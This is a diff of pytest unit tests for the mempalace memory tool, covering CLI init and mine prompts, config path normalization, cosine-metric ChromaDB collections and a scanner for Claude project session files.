# suite (tests/test_corpus_origin_integration.py) covers it directly.
|
||||
patch("mempalace.cli._run_pass_zero", return_value=None),
|
||||
patch("builtins.open", MagicMock()),
|
||||
patch("mempalace.cli._maybe_run_mine_after_init"),
|
||||
):
|
||||
cmd_init(args)
|
||||
|
||||
|
||||
@patch("mempalace.cli.MempalaceConfig")
|
||||
def test_cmd_init_normalizes_wing_name_for_topics_registry(mock_config_cls, tmp_path):
|
||||
"""Regression for #1194: hyphenated dir names must be normalized to the
|
||||
same slug ``mempalace.yaml`` uses, otherwise ``topics_by_wing`` keys
|
||||
miss the miner's lookup at mine time and tunnels are silently dropped.
|
||||
"""
|
||||
project = tmp_path / "my-cool-app"
|
||||
project.mkdir()
|
||||
fake_files = [project / "a.txt"]
|
||||
detected = {
|
||||
"people": [{"name": "Alice"}],
|
||||
"projects": [],
|
||||
"topics": [{"name": "Bun"}],
|
||||
"uncertain": [],
|
||||
}
|
||||
confirmed = {"people": ["Alice"], "projects": [], "topics": ["Bun"]}
|
||||
args = argparse.Namespace(dir=str(project), yes=True)
|
||||
with (
|
||||
patch("mempalace.entity_detector.scan_for_detection", return_value=fake_files),
|
||||
patch("mempalace.entity_detector.detect_entities", return_value=detected),
|
||||
patch("mempalace.entity_detector.confirm_entities", return_value=confirmed),
|
||||
patch("mempalace.miner.add_to_known_entities") as mock_register,
|
||||
patch("mempalace.room_detector_local.detect_rooms_local"),
|
||||
patch("builtins.open", MagicMock()),
|
||||
patch("mempalace.cli._maybe_run_mine_after_init"),
|
||||
# Pass-zero corpus-origin detection runs unconditionally inside
|
||||
# cmd_init now (#1221 / #1223). It accesses MempalaceConfig fields
|
||||
# that don't survive MagicMock stringification, so stub it out —
|
||||
# this test only cares about the wing-slug write to the registry.
|
||||
patch("mempalace.cli._run_pass_zero", return_value=None),
|
||||
):
|
||||
mock_register.return_value = "/tmp/known_entities.json"
|
||||
cmd_init(args)
|
||||
mock_register.assert_called_once()
|
||||
assert mock_register.call_args.kwargs["wing"] == "my_cool_app"
|
||||
|
||||
|
||||
@patch("mempalace.cli.MempalaceConfig")
|
||||
def test_cmd_init_with_entities_zero_total(mock_config_cls, tmp_path, capsys):
|
||||
"""When entities detected but total is 0, prints 'No entities' message."""
|
||||
@@ -140,12 +185,238 @@ def test_cmd_init_with_entities_zero_total(mock_config_cls, tmp_path, capsys):
|
||||
patch("mempalace.entity_detector.scan_for_detection", return_value=fake_files),
|
||||
patch("mempalace.entity_detector.detect_entities", return_value=detected),
|
||||
patch("mempalace.room_detector_local.detect_rooms_local"),
|
||||
patch("mempalace.cli._maybe_run_mine_after_init"),
|
||||
):
|
||||
cmd_init(args)
|
||||
out = capsys.readouterr().out
|
||||
assert "No entities detected" in out
|
||||
|
||||
|
||||
# ── _maybe_run_mine_after_init (init → mine prompt, #1181) ─────────────
|
||||
|
||||
|
||||
def _init_args(tmp_path, *, yes=False, auto_mine=False):
|
||||
return argparse.Namespace(dir=str(tmp_path), yes=yes, auto_mine=auto_mine)
|
||||
|
||||
|
||||
def _fake_cfg(tmp_path):
|
||||
cfg = MagicMock()
|
||||
cfg.palace_path = str(tmp_path / "palace")
|
||||
return cfg
|
||||
|
||||
|
||||
def _fake_scanned(tmp_path, n=3):
|
||||
"""Build n real Path objects with stat()-able sizes for the scan estimate."""
|
||||
paths = []
|
||||
for i in range(n):
|
||||
p = tmp_path / f"f{i}.txt"
|
||||
p.write_text("x" * 1024) # 1 KB each
|
||||
paths.append(p)
|
||||
return paths
|
||||
|
||||
|
||||
def test_maybe_run_mine_prompt_accepted_runs_mine(tmp_path):
|
||||
"""Empty / 'y' / 'yes' on the prompt triggers mine() in-process."""
|
||||
from mempalace.cli import _maybe_run_mine_after_init
|
||||
|
||||
args = _init_args(tmp_path, yes=False, auto_mine=False)
|
||||
cfg = _fake_cfg(tmp_path)
|
||||
scanned = _fake_scanned(tmp_path, n=3)
|
||||
with (
|
||||
patch("mempalace.miner.mine") as mock_mine,
|
||||
patch("mempalace.miner.scan_project", return_value=scanned),
|
||||
patch("builtins.input", return_value=""),
|
||||
):
|
||||
_maybe_run_mine_after_init(args, cfg)
|
||||
mock_mine.assert_called_once_with(
|
||||
project_dir=str(tmp_path),
|
||||
palace_path=cfg.palace_path,
|
||||
files=scanned,
|
||||
)
|
||||
|
||||
|
||||
def test_maybe_run_mine_prompt_yes_accepted_runs_mine(tmp_path):
|
||||
"""Explicit 'y' answer also runs mine()."""
|
||||
from mempalace.cli import _maybe_run_mine_after_init
|
||||
|
||||
args = _init_args(tmp_path, yes=False, auto_mine=False)
|
||||
cfg = _fake_cfg(tmp_path)
|
||||
with (
|
||||
patch("mempalace.miner.mine") as mock_mine,
|
||||
patch("mempalace.miner.scan_project", return_value=[]),
|
||||
patch("builtins.input", return_value="Y"),
|
||||
):
|
||||
_maybe_run_mine_after_init(args, cfg)
|
||||
mock_mine.assert_called_once()
|
||||
|
||||
|
||||
def test_maybe_run_mine_prompt_declined_prints_hint(tmp_path, capsys):
|
||||
"""'n' answer skips mine() and prints the resume hint."""
|
||||
from mempalace.cli import _maybe_run_mine_after_init
|
||||
|
||||
args = _init_args(tmp_path, yes=False, auto_mine=False)
|
||||
cfg = _fake_cfg(tmp_path)
|
||||
with (
|
||||
patch("mempalace.miner.mine") as mock_mine,
|
||||
patch("mempalace.miner.scan_project", return_value=[]),
|
||||
patch("builtins.input", return_value="n"),
|
||||
):
|
||||
_maybe_run_mine_after_init(args, cfg)
|
||||
mock_mine.assert_not_called()
|
||||
out = capsys.readouterr().out
|
||||
# shlex.quote is a no-op on POSIX-safe paths but wraps Windows paths
|
||||
# (which contain backslashes) in single quotes, so the assertion has
|
||||
# to mirror what the production code actually emits.
|
||||
assert f"mempalace mine {shlex.quote(str(tmp_path))}" in out
|
||||
assert "Skipped" in out
|
||||
|
||||
|
||||
def test_maybe_run_mine_yes_alone_still_prompts(tmp_path):
|
||||
"""`--yes` is scoped to entity auto-accept and MUST still prompt for mine.
|
||||
|
||||
Regression guard for the flag-overload review feedback on #1183: extending
|
||||
`--yes` to also auto-mine would silently change behaviour for scripted
|
||||
callers and turn a fast command into a minutes-long ChromaDB write.
|
||||
"""
|
||||
from mempalace.cli import _maybe_run_mine_after_init
|
||||
|
||||
args = _init_args(tmp_path, yes=True, auto_mine=False)
|
||||
cfg = _fake_cfg(tmp_path)
|
||||
with (
|
||||
patch("mempalace.miner.mine") as mock_mine,
|
||||
patch("mempalace.miner.scan_project", return_value=[]),
|
||||
patch("builtins.input", return_value="n") as mock_input,
|
||||
):
|
||||
_maybe_run_mine_after_init(args, cfg)
|
||||
mock_input.assert_called_once() # the prompt MUST fire
|
||||
mock_mine.assert_not_called()
|
||||
|
||||
|
||||
def test_maybe_run_mine_auto_mine_skips_prompt(tmp_path):
|
||||
"""`--auto-mine` runs mine() automatically without calling input()."""
|
||||
from mempalace.cli import _maybe_run_mine_after_init
|
||||
|
||||
args = _init_args(tmp_path, yes=False, auto_mine=True)
|
||||
cfg = _fake_cfg(tmp_path)
|
||||
scanned = _fake_scanned(tmp_path, n=2)
|
||||
with (
|
||||
patch("mempalace.miner.mine") as mock_mine,
|
||||
patch("mempalace.miner.scan_project", return_value=scanned),
|
||||
patch("builtins.input", side_effect=AssertionError("input() must not be called")),
|
||||
):
|
||||
_maybe_run_mine_after_init(args, cfg)
|
||||
mock_mine.assert_called_once_with(
|
||||
project_dir=str(tmp_path),
|
||||
palace_path=cfg.palace_path,
|
||||
files=scanned,
|
||||
)
|
||||
|
||||
|
||||
def test_maybe_run_mine_yes_and_auto_mine_fully_noninteractive(tmp_path):
|
||||
"""`--yes --auto-mine` together: never call input(), always mine."""
|
||||
from mempalace.cli import _maybe_run_mine_after_init
|
||||
|
||||
args = _init_args(tmp_path, yes=True, auto_mine=True)
|
||||
cfg = _fake_cfg(tmp_path)
|
||||
with (
|
||||
patch("mempalace.miner.mine") as mock_mine,
|
||||
patch("mempalace.miner.scan_project", return_value=[]),
|
||||
patch("builtins.input", side_effect=AssertionError("input() must not be called")),
|
||||
):
|
||||
_maybe_run_mine_after_init(args, cfg)
|
||||
mock_mine.assert_called_once()
|
||||
|
||||
|
||||
def test_maybe_run_mine_decline_quotes_path_with_spaces(tmp_path, capsys):
|
||||
"""The resume hint must shell-quote the project dir so paths with
|
||||
spaces / metacharacters produce a copy-paste-safe command."""
|
||||
from mempalace.cli import _maybe_run_mine_after_init
|
||||
|
||||
spaced_dir = tmp_path / "my project dir"
|
||||
spaced_dir.mkdir()
|
||||
args = argparse.Namespace(dir=str(spaced_dir), yes=False, auto_mine=False)
|
||||
cfg = _fake_cfg(tmp_path)
|
||||
with (
|
||||
patch("mempalace.miner.mine"),
|
||||
patch("mempalace.miner.scan_project", return_value=[]),
|
||||
patch("builtins.input", return_value="n"),
|
||||
):
|
||||
_maybe_run_mine_after_init(args, cfg)
|
||||
out = capsys.readouterr().out
|
||||
# shlex.quote wraps paths with spaces (and Windows backslashes) in
|
||||
# single quotes — the assertion must use the same shlex form so the
|
||||
# test passes on every platform's tmp_path layout.
|
||||
assert f"mempalace mine {shlex.quote(str(spaced_dir))}" in out
|
||||
# Bare unquoted form must NOT appear — that's the bug we're guarding.
|
||||
assert f"mempalace mine {spaced_dir} " not in out
|
||||
assert f"mempalace mine {spaced_dir}`" not in out
|
||||
|
||||
|
||||
def test_maybe_run_mine_eof_on_stdin_treated_as_decline(tmp_path, capsys):
|
||||
"""Piped / non-interactive stdin (EOFError) declines without crashing."""
|
||||
from mempalace.cli import _maybe_run_mine_after_init
|
||||
|
||||
args = _init_args(tmp_path, yes=False, auto_mine=False)
|
||||
cfg = _fake_cfg(tmp_path)
|
||||
with (
|
||||
patch("mempalace.miner.mine") as mock_mine,
|
||||
patch("mempalace.miner.scan_project", return_value=[]),
|
||||
patch("builtins.input", side_effect=EOFError),
|
||||
):
|
||||
_maybe_run_mine_after_init(args, cfg)
|
||||
mock_mine.assert_not_called()
|
||||
assert "Skipped" in capsys.readouterr().out
|
||||
|
||||
|
||||
def test_maybe_run_mine_failure_surfaces_via_exit(tmp_path, capsys):
|
||||
"""Mine errors are not swallowed — they exit non-zero with an error line."""
|
||||
from mempalace.cli import _maybe_run_mine_after_init
|
||||
|
||||
args = _init_args(tmp_path, yes=False, auto_mine=True)
|
||||
cfg = _fake_cfg(tmp_path)
|
||||
with (
|
||||
patch("mempalace.miner.mine", side_effect=RuntimeError("boom")),
|
||||
patch("mempalace.miner.scan_project", return_value=[]),
|
||||
):
|
||||
with pytest.raises(SystemExit) as exc_info:
|
||||
_maybe_run_mine_after_init(args, cfg)
|
||||
assert exc_info.value.code == 1
|
||||
err = capsys.readouterr().err
|
||||
assert "boom" in err
|
||||
|
||||
|
||||
def test_maybe_run_mine_estimate_appears_before_prompt(tmp_path, capsys):
|
||||
"""The file-count + size estimate line MUST render BEFORE the prompt.
|
||||
|
||||
Required by the spec: hitting Enter on a default-Y prompt with no size
|
||||
info is a footgun on a real corpus where mine takes minutes. The user
|
||||
must see scope before being asked to confirm.
|
||||
"""
|
||||
from mempalace.cli import _maybe_run_mine_after_init
|
||||
|
||||
args = _init_args(tmp_path, yes=False, auto_mine=False)
|
||||
cfg = _fake_cfg(tmp_path)
|
||||
scanned = _fake_scanned(tmp_path, n=4) # 4 files * 1 KB each
|
||||
captured_when_prompted = {}
|
||||
|
||||
def fake_input(prompt):
|
||||
# Snapshot what stdout looked like at the moment the prompt fires.
|
||||
captured_when_prompted["stdout"] = capsys.readouterr().out
|
||||
return "n"
|
||||
|
||||
with (
|
||||
patch("mempalace.miner.mine"),
|
||||
patch("mempalace.miner.scan_project", return_value=scanned),
|
||||
patch("builtins.input", side_effect=fake_input),
|
||||
):
|
||||
_maybe_run_mine_after_init(args, cfg)
|
||||
|
||||
pre_prompt = captured_when_prompted["stdout"]
|
||||
assert "4 files" in pre_prompt, f"file count missing from pre-prompt output: {pre_prompt!r}"
|
||||
assert "MB" in pre_prompt, f"size estimate missing from pre-prompt output: {pre_prompt!r}"
|
||||
assert "would be mined" in pre_prompt
|
||||
|
||||
|
||||
# ── cmd_mine ───────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
@@ -334,9 +605,9 @@ def test_mcp_command_prints_setup_guidance(monkeypatch, capsys):
|
||||
|
||||
captured = capsys.readouterr()
|
||||
assert "MemPalace MCP quick setup:" in captured.out
|
||||
assert "claude mcp add mempalace -- python -m mempalace.mcp_server" in captured.out
|
||||
assert "claude mcp add mempalace -- mempalace-mcp" in captured.out
|
||||
assert "\nOptional custom palace:\n" in captured.out
|
||||
assert "python -m mempalace.mcp_server --palace /path/to/palace" in captured.out
|
||||
assert "mempalace-mcp --palace /path/to/palace" in captured.out
|
||||
assert "[--palace /path/to/palace]" not in captured.out
|
||||
assert captured.err == ""
|
||||
|
||||
@@ -349,7 +620,7 @@ def test_mcp_command_uses_custom_palace_path_when_provided(monkeypatch, capsys):
|
||||
captured = capsys.readouterr()
|
||||
expanded = str(Path("~/tmp/my palace").expanduser())
|
||||
|
||||
assert "python -m mempalace.mcp_server --palace" in captured.out
|
||||
assert "mempalace-mcp --palace" in captured.out
|
||||
assert expanded in captured.out
|
||||
assert "Optional custom palace:" not in captured.out
|
||||
assert "[--palace /path/to/palace]" not in captured.out
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
"""Invariant tests: every ChromaDB collection-creation path must set
|
||||
``hnsw:space=cosine``.
|
||||
|
||||
Reason: ChromaDB's default HNSW distance is L2 (Euclidean). Under L2,
|
||||
the searcher's ``max(0, 1 - distance)`` similarity formula systematically
|
||||
floors to 0 because L2 distances on normalized 384-dim vectors routinely
|
||||
exceed 1.0 — users then see flat ``Match: 0.0`` across every result and
|
||||
have no signal that their palace is broken.
|
||||
|
||||
This test file locks the invariant so a future refactor that drops the
|
||||
``metadata={"hnsw:space": "cosine"}`` parameter from any creation path
|
||||
gets caught at test time rather than silently degrading search quality.
|
||||
"""
|
||||
|
||||
from mempalace.backends.chroma import ChromaBackend
|
||||
from mempalace.palace import get_collection
|
||||
|
||||
|
||||
EXPECTED_METRIC = "cosine"
|
||||
|
||||
|
||||
def _assert_cosine(col, where: str) -> None:
|
||||
meta = col.metadata if hasattr(col, "metadata") else col._collection.metadata
|
||||
assert isinstance(meta, dict), f"{where}: expected metadata dict, got {meta!r}"
|
||||
assert meta.get("hnsw:space") == EXPECTED_METRIC, (
|
||||
f"{where}: expected hnsw:space={EXPECTED_METRIC!r}, got {meta!r}. "
|
||||
"A collection without cosine metric will silently break the "
|
||||
"similarity formula used by the searcher."
|
||||
)
|
||||
|
||||
|
||||
def test_legacy_get_or_create_collection_sets_cosine(tmp_path):
|
||||
backend = ChromaBackend()
|
||||
col = backend.get_or_create_collection(str(tmp_path), "mempalace_drawers")
|
||||
_assert_cosine(col, "legacy get_or_create_collection")
|
||||
|
||||
|
||||
def test_legacy_create_collection_sets_cosine(tmp_path):
|
||||
backend = ChromaBackend()
|
||||
col = backend.create_collection(str(tmp_path), "mempalace_drawers")
|
||||
_assert_cosine(col, "legacy create_collection")
|
||||
|
||||
|
||||
def test_new_get_collection_with_create_sets_cosine(tmp_path):
|
||||
"""RFC 001 typed surface — ``get_collection(..., create=True)`` is the
|
||||
path the miner + init flow take. Must also set cosine."""
|
||||
backend = ChromaBackend()
|
||||
col = backend.get_collection(str(tmp_path), "mempalace_drawers", create=True)
|
||||
_assert_cosine(col, "get_collection(create=True)")
|
||||
|
||||
|
||||
def test_palace_module_get_collection_sets_cosine(tmp_path):
|
||||
"""The public ``mempalace.palace.get_collection`` is what most callers
|
||||
use. Must produce cosine palaces."""
|
||||
col = get_collection(str(tmp_path), "mempalace_drawers", create=True)
|
||||
_assert_cosine(col, "palace.get_collection(create=True)")
|
||||
|
||||
|
||||
def test_reopening_cosine_palace_preserves_metric(tmp_path):
|
||||
"""Opening a previously-created cosine palace (create=False) must
|
||||
still expose the cosine metadata — catches any regression where
|
||||
reopening drops or overwrites metadata."""
|
||||
backend = ChromaBackend()
|
||||
backend.create_collection(str(tmp_path), "mempalace_drawers")
|
||||
# Fresh backend simulates a process restart
|
||||
backend2 = ChromaBackend()
|
||||
col = backend2.get_collection(str(tmp_path), "mempalace_drawers", create=False)
|
||||
_assert_cosine(col, "re-opened palace")
|
||||
|
||||
|
||||
def test_fresh_palace_via_full_stack_gets_cosine(tmp_path):
|
||||
"""End-to-end: build a palace with the public API the way a new user
|
||||
would, confirm the resulting collection uses cosine distance.
|
||||
|
||||
Uses the ``tmp_path`` fixture rather than ``tempfile.TemporaryDirectory``
|
||||
so ChromaDB's persistent SQLite file handles aren't asked to release
|
||||
during the test body — pytest cleans the path at session end, by which
|
||||
point the process is exiting and Windows' file-lock contention is
|
||||
moot. Matches the cleanup strategy used by the rest of this file and
|
||||
the project's 80% Windows coverage note in CLAUDE.md.
|
||||
"""
|
||||
col = get_collection(str(tmp_path), "mempalace_drawers", create=True)
|
||||
_assert_cosine(col, "full-stack new palace")
|
||||
|
||||
# And the closets collection too
|
||||
closets = get_collection(str(tmp_path), "mempalace_closets", create=True)
|
||||
_assert_cosine(closets, "full-stack new closets")
|
||||
+100
-5
@@ -3,7 +3,7 @@ import json
|
||||
import tempfile
|
||||
|
||||
import pytest
|
||||
from mempalace.config import MempalaceConfig, sanitize_kg_value, sanitize_name
|
||||
from mempalace.config import MempalaceConfig, normalize_wing_name, sanitize_kg_value, sanitize_name
|
||||
|
||||
|
||||
def test_default_config():
|
||||
@@ -20,11 +20,87 @@ def test_config_from_file():
|
||||
assert cfg.palace_path == "/custom/palace"
|
||||
|
||||
|
||||
def test_env_override():
|
||||
os.environ["MEMPALACE_PALACE_PATH"] = "/env/palace"
|
||||
def test_embedding_device_defaults_to_auto(monkeypatch):
|
||||
monkeypatch.delenv("MEMPALACE_EMBEDDING_DEVICE", raising=False)
|
||||
cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
|
||||
assert cfg.palace_path == "/env/palace"
|
||||
del os.environ["MEMPALACE_PALACE_PATH"]
|
||||
assert cfg.embedding_device == "auto"
|
||||
|
||||
|
||||
def test_embedding_device_from_config_is_normalized(tmp_path, monkeypatch):
|
||||
monkeypatch.delenv("MEMPALACE_EMBEDDING_DEVICE", raising=False)
|
||||
with open(tmp_path / "config.json", "w") as f:
|
||||
json.dump({"embedding_device": " CUDA "}, f)
|
||||
|
||||
cfg = MempalaceConfig(config_dir=str(tmp_path))
|
||||
assert cfg.embedding_device == "cuda"
|
||||
|
||||
|
||||
def test_embedding_device_env_overrides_config(tmp_path, monkeypatch):
|
||||
with open(tmp_path / "config.json", "w") as f:
|
||||
json.dump({"embedding_device": "cpu"}, f)
|
||||
monkeypatch.setenv("MEMPALACE_EMBEDDING_DEVICE", " CoreML ")
|
||||
|
||||
cfg = MempalaceConfig(config_dir=str(tmp_path))
|
||||
assert cfg.embedding_device == "coreml"
|
||||
|
||||
|
||||
def test_env_override():
|
||||
raw = "/env/palace"
|
||||
os.environ["MEMPALACE_PALACE_PATH"] = raw
|
||||
try:
|
||||
cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
|
||||
# palace_path normalizes with abspath + expanduser to match the
|
||||
# --palace CLI code path. On Unix that's a no-op for "/env/palace";
|
||||
# on Windows abspath prepends the current drive letter.
|
||||
assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
|
||||
finally:
|
||||
del os.environ["MEMPALACE_PALACE_PATH"]
|
||||
|
||||
|
||||
def test_env_path_expanduser():
|
||||
# Tilde must be expanded to match the --palace CLI code path. We don't
|
||||
# assert "~" is absent from the final string because Windows 8.3 short
|
||||
# paths (e.g. C:\Users\RUNNER~1\...) legitimately contain tildes — the
|
||||
# equality check is authoritative.
|
||||
raw = os.path.join("~", "mempalace-test")
|
||||
os.environ["MEMPALACE_PALACE_PATH"] = raw
|
||||
try:
|
||||
cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
|
||||
assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
|
||||
assert cfg.palace_path.endswith("mempalace-test")
|
||||
finally:
|
||||
del os.environ["MEMPALACE_PALACE_PATH"]
|
||||
|
||||
|
||||
def test_env_path_abspath_collapses_traversal():
|
||||
# Build a raw path with a .. segment using the platform separator so
|
||||
# the assertion is portable (Windows uses \, POSIX uses /).
|
||||
raw = os.path.join(tempfile.gettempdir(), "palace", "..", "mempalace-test")
|
||||
expected = os.path.abspath(os.path.expanduser(raw))
|
||||
os.environ["MEMPALACE_PALACE_PATH"] = raw
|
||||
try:
|
||||
cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
|
||||
# .. segments must be collapsed, not preserved literally.
|
||||
assert ".." not in cfg.palace_path
|
||||
assert cfg.palace_path == expected
|
||||
finally:
|
||||
del os.environ["MEMPALACE_PALACE_PATH"]
|
||||
|
||||
|
||||
def test_env_path_legacy_alias_normalized():
|
||||
# Legacy MEMPAL_PALACE_PATH gets the same normalization treatment as
|
||||
# MEMPALACE_PALACE_PATH. We don't assert "~" is absent from the final
|
||||
# string because Windows 8.3 short paths (e.g. C:\Users\RUNNER~1\...)
|
||||
# legitimately contain tildes — the equality check below is authoritative.
|
||||
os.environ.pop("MEMPALACE_PALACE_PATH", None)
|
||||
raw = os.path.join("~", "legacy-alias", "..", "mempalace-test")
|
||||
os.environ["MEMPAL_PALACE_PATH"] = raw
|
||||
try:
|
||||
cfg = MempalaceConfig(config_dir=tempfile.mkdtemp())
|
||||
assert ".." not in cfg.palace_path
|
||||
assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
|
||||
finally:
|
||||
del os.environ["MEMPAL_PALACE_PATH"]
|
||||
|
||||
|
||||
def test_init():
|
||||
@@ -34,6 +110,25 @@ def test_init():
|
||||
assert os.path.exists(os.path.join(tmpdir, "config.json"))
|
||||
|
||||
|
||||
# --- normalize_wing_name ---
|
||||
|
||||
|
||||
def test_normalize_wing_name_hyphen():
|
||||
assert normalize_wing_name("mempal-private") == "mempal_private"
|
||||
|
||||
|
||||
def test_normalize_wing_name_space():
|
||||
assert normalize_wing_name("My Project") == "my_project"
|
||||
|
||||
|
||||
def test_normalize_wing_name_already_clean():
|
||||
assert normalize_wing_name("memorymark") == "memorymark"
|
||||
|
||||
|
||||
def test_normalize_wing_name_mixed():
|
||||
assert normalize_wing_name("My-Cool App") == "my_cool_app"
|
||||
|
||||
|
||||
# --- sanitize_name ---
|
||||
|
||||
|
||||
|
||||
@@ -63,10 +63,14 @@ def test_save_people_map(tmp_path):
|
||||
def test_env_mempal_palace_path(tmp_path):
|
||||
"""MEMPAL_PALACE_PATH (legacy) should also work."""
|
||||
os.environ.pop("MEMPALACE_PALACE_PATH", None)
|
||||
os.environ["MEMPAL_PALACE_PATH"] = "/legacy/path"
|
||||
raw = "/legacy/path"
|
||||
os.environ["MEMPAL_PALACE_PATH"] = raw
|
||||
try:
|
||||
cfg = MempalaceConfig(config_dir=str(tmp_path))
|
||||
assert cfg.palace_path == "/legacy/path"
|
||||
# palace_path is normalized via abspath + expanduser — compare
|
||||
# against the normalized form so the test is portable between
|
||||
# POSIX (no-op) and Windows (prepends current drive letter).
|
||||
assert cfg.palace_path == os.path.abspath(os.path.expanduser(raw))
|
||||
finally:
|
||||
del os.environ["MEMPAL_PALACE_PATH"]
|
||||
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
"""Unit tests for convo_miner pure functions (no chromadb needed)."""
|
||||
|
||||
import contextlib
|
||||
|
||||
from mempalace.convo_miner import (
|
||||
_file_chunks_locked,
|
||||
chunk_exchanges,
|
||||
detect_convo_room,
|
||||
scan_convos,
|
||||
@@ -111,3 +114,36 @@ class TestScanConvos:
|
||||
def test_scan_empty_dir(self, tmp_path):
|
||||
files = scan_convos(str(tmp_path))
|
||||
assert files == []
|
||||
|
||||
|
||||
class TestFileChunksLocked:
|
||||
def test_uses_bounded_upsert_batches(self, monkeypatch):
|
||||
import mempalace.convo_miner as convo_miner
|
||||
|
||||
class FakeCol:
|
||||
def __init__(self):
|
||||
self.batch_sizes = []
|
||||
|
||||
def delete(self, *args, **kwargs):
|
||||
pass
|
||||
|
||||
def upsert(self, documents, ids, metadatas):
|
||||
self.batch_sizes.append(len(documents))
|
||||
|
||||
chunks = [{"content": f"chunk {i} " * 20, "chunk_index": i} for i in range(5)]
|
||||
col = FakeCol()
|
||||
monkeypatch.setattr(convo_miner, "DRAWER_UPSERT_BATCH_SIZE", 2)
|
||||
monkeypatch.setattr(
|
||||
convo_miner, "file_already_mined", lambda collection, source_file: False
|
||||
)
|
||||
monkeypatch.setattr(convo_miner, "mine_lock", lambda source_file: contextlib.nullcontext())
|
||||
monkeypatch.setattr(convo_miner, "_detect_hall_cached", lambda content: "conversations")
|
||||
|
||||
drawers, room_counts, skipped = _file_chunks_locked(
|
||||
col, "chat.txt", chunks, "wing", "general", "agent", "exchange"
|
||||
)
|
||||
|
||||
assert drawers == 5
|
||||
assert dict(room_counts) == {}
|
||||
assert skipped is False
|
||||
assert col.batch_sizes == [2, 2, 1]
|
||||
|
||||
@@ -0,0 +1,218 @@
|
||||
"""Tests for mempalace.convo_scanner."""
|
||||
|
||||
import json
|
||||
from pathlib import Path
|
||||
|
||||
from mempalace.convo_scanner import (
|
||||
_decode_slug_fallback,
|
||||
_extract_cwd_from_session,
|
||||
_resolve_project_name,
|
||||
_safe_mtime,
|
||||
is_claude_projects_root,
|
||||
scan_claude_projects,
|
||||
)
|
||||
|
||||
|
||||
# ── is_claude_projects_root ─────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_is_claude_projects_root_true(tmp_path):
|
||||
project_dir = tmp_path / "-home-user-dev-foo"
|
||||
project_dir.mkdir()
|
||||
(project_dir / "abc.jsonl").write_text("{}\n")
|
||||
assert is_claude_projects_root(tmp_path)
|
||||
|
||||
|
||||
def test_is_claude_projects_root_false_no_dash_prefix(tmp_path):
|
||||
project_dir = tmp_path / "normal-folder"
|
||||
project_dir.mkdir()
|
||||
(project_dir / "abc.jsonl").write_text("{}\n")
|
||||
assert not is_claude_projects_root(tmp_path)
|
||||
|
||||
|
||||
def test_is_claude_projects_root_false_no_jsonl(tmp_path):
|
||||
project_dir = tmp_path / "-home-user-foo"
|
||||
project_dir.mkdir()
|
||||
(project_dir / "other.txt").write_text("hello")
|
||||
assert not is_claude_projects_root(tmp_path)
|
||||
|
||||
|
||||
def test_is_claude_projects_root_false_empty(tmp_path):
|
||||
assert not is_claude_projects_root(tmp_path)
|
||||
|
||||
|
||||
def test_is_claude_projects_root_false_nonexistent(tmp_path):
|
||||
assert not is_claude_projects_root(tmp_path / "does-not-exist")
|
||||
|
||||
|
||||
# ── cwd extraction ──────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_extract_cwd_from_session(tmp_path):
|
||||
f = tmp_path / "session.jsonl"
|
||||
lines = [
|
||||
json.dumps({"type": "file-history-snapshot", "messageId": "x"}),
|
||||
json.dumps({"type": "user", "cwd": "/home/user/dev/myproj", "content": "hi"}),
|
||||
]
|
||||
f.write_text("\n".join(lines) + "\n")
|
||||
assert _extract_cwd_from_session(f) == "/home/user/dev/myproj"
|
||||
|
||||
|
||||
def test_extract_cwd_from_session_skips_malformed(tmp_path):
|
||||
f = tmp_path / "session.jsonl"
|
||||
f.write_text(
|
||||
"{not valid json\n" + json.dumps({"type": "user", "cwd": "/home/user/dev/good"}) + "\n"
|
||||
)
|
||||
assert _extract_cwd_from_session(f) == "/home/user/dev/good"
|
||||
|
||||
|
||||
def test_extract_cwd_from_session_none_if_absent(tmp_path):
|
||||
f = tmp_path / "session.jsonl"
|
||||
f.write_text(json.dumps({"type": "x", "messageId": "y"}) + "\n")
|
||||
assert _extract_cwd_from_session(f) is None
|
||||
|
||||
|
||||
def test_extract_cwd_from_session_none_if_file_missing(tmp_path):
|
||||
assert _extract_cwd_from_session(tmp_path / "missing.jsonl") is None
|
||||
|
||||
|
||||
# ── slug fallback ───────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_decode_slug_fallback_last_segment():
|
||||
assert _decode_slug_fallback("-home-user-dev-foo") == "foo"
|
||||
|
||||
|
||||
def test_decode_slug_fallback_double_dash():
|
||||
assert _decode_slug_fallback("-home-user--bentokit") == "bentokit"
|
||||
|
||||
|
||||
def test_decode_slug_fallback_empty():
|
||||
assert _decode_slug_fallback("") == ""
|
||||
|
||||
|
||||
def test_decode_slug_fallback_only_dashes():
|
||||
assert _decode_slug_fallback("---") == "---"
|
||||
|
||||
|
||||
# ── safe metadata helpers ───────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_safe_mtime_returns_zero_on_stat_error(tmp_path, monkeypatch):
|
||||
f = tmp_path / "session.jsonl"
|
||||
f.write_text("{}\n")
|
||||
original_stat = Path.stat
|
||||
|
||||
def fail_stat(self):
|
||||
if self == f:
|
||||
raise OSError("permission denied")
|
||||
return original_stat(self)
|
||||
|
||||
monkeypatch.setattr(Path, "stat", fail_stat)
|
||||
assert _safe_mtime(f) == 0.0
|
||||
|
||||
|
||||
# ── _resolve_project_name ───────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_resolve_project_name_uses_cwd(tmp_path):
|
||||
pdir = tmp_path / "-home-user-dev-coolproj"
|
||||
pdir.mkdir()
|
||||
session = pdir / "a.jsonl"
|
||||
session.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/cool-proj-real"}) + "\n")
|
||||
assert _resolve_project_name(pdir) == "cool-proj-real"
|
||||
|
||||
|
||||
def test_resolve_project_name_falls_back_when_no_cwd(tmp_path):
|
||||
pdir = tmp_path / "-home-user-dev-foo"
|
||||
pdir.mkdir()
|
||||
(pdir / "a.jsonl").write_text(json.dumps({"type": "x"}) + "\n")
|
||||
assert _resolve_project_name(pdir) == "foo"
|
